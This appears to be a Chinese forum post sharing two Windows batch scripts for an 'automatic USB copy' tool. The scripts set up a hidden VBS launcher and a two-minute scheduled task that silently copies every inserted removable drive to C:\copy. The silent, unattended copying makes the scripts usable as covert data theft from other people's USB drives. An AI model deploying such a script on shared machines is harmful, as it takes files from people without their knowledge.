首先,非常感谢tianzizhi提供的源代码,
我现在将修改后的代码发上来,
现在的问题是,怎么启用那个策略呢,默认是关闭的。
或者是不是有高人有其他的解决办法呢???
第一个文件:U盘自动复制.cmd
@echo off
color 17
:start
cls
title $$$$*晗*晗*制*造*$$$$
echo.
echo.
echo.
echo ==============================================================
echo.
echo U盘自动复制程序
echo.
echo 欢迎使用,请选择选项(1,2,3,4,5,6)
echo.
echo [1] 运行程序
echo [2] 关闭程序
echo [3] 安装程序
echo [4] 卸载程序
echo [5] 使用帮助
echo [6] X键关闭
echo.
echo.
echo.
echo ==============================================================
echo.
set /p choice=请输入:
if {%choice%}=={} goto start
if /i %choice%==1 goto open
if /i %choice%==2 goto close
if /i %choice%==3 goto install
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto help
if /i %choice%==x goto shut
goto start
:install
rem ==============================安装程序=============================
if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
rem ==============================隐藏窗口=============================
if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
set path=%temp%\copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >>%temp%\hide.vbs
echo ws.Run "%path%",0 >>%temp%\hide.vbs
echo.
echo 安装成功结束!
pause >nul 2>nul
goto start
rem ==============================安装结束=============================
:uninstall
rem ==============================卸载程序=============================
echo.
schtasks /delete /s system /tn copyfiles /tn copyfiles /f >nul 2>nul
del /Q /f "%temp%\copy.cmd" >nul 2>nul
del /Q /f "%temp%\hide.vbs" >nul 2>nul
del /Q /f "%temp%\copy.tmp" >nul 2>nul
echo 程序已经成功卸载!
pause >nul 2>nul
goto start
rem ==============================卸载结束=============================
:open
rem ==============================运行程序=============================
echo.
schtasks /create /s system /sc minute /mo 2 /tn copyfiles /tr %temp%\hide.vbs
echo 程序已经成功开始自运行(2分钟扫描一次)!
pause >nul 2>nul
goto start
rem ==============================运行结束=============================
:close
rem ==============================终止程序=============================
echo.
schtasks /delete /s system /tn copyfiles /tn copyfiles /f
echo 程序已经成功结束自运行!
pause >nul 2>nul
goto start
rem ==============================终止结束=============================
:help
rem ==============================使用帮助=============================
cls
echo.
echo.
echo.
echo.
echo.
echo 本工具适用于XPsp2系统,由此造成的一切损失,本人不负任何责任.
echo.
echo 使用方法: 1 点击安装程序
echo 2 点击运行程序,程序将自动每2分钟执行一次
echo 3 请务必确认你要copy的U盘无毒
echo 4 如果你计算机安装有杀毒软件,可能会无法使用VBS代码
echo 5 如果无法自动COPY,请每次手动点击COPY.cmd
echo 6 请及时清理c:\copy文件里边的文件
echo 7 请确保你的c:\有足够的空间,程序运行时候建议不要插移动硬盘
echo.
echo 本软件为免费软件欢迎大家使用
echo 按任意键返回主菜单
pause >nul
goto start
rem ==============================帮助结束=============================
:shut
rem ==============================关闭程序=============================
exit
rem ==============================关闭结束=============================
第二文件:copy.cmd
@echo off
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "可移动驱动器" "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
echo 没有检测到可移动磁盘!
exit
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy
:goon
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (
xcopy /e /y %%i\*.* c:\copy >nul 2>nul
)
del /q "%temp%\copy.tmp"
echo 已复制,请及时清理文件!
本帖最近评分记录
(共 2 条)
点击查看详情
| 评分人 | 分数 | 时间 |
| — |
+1 |
2010-06-30 16:53 |
| — |
+1 |
2010-09-04 15:16 |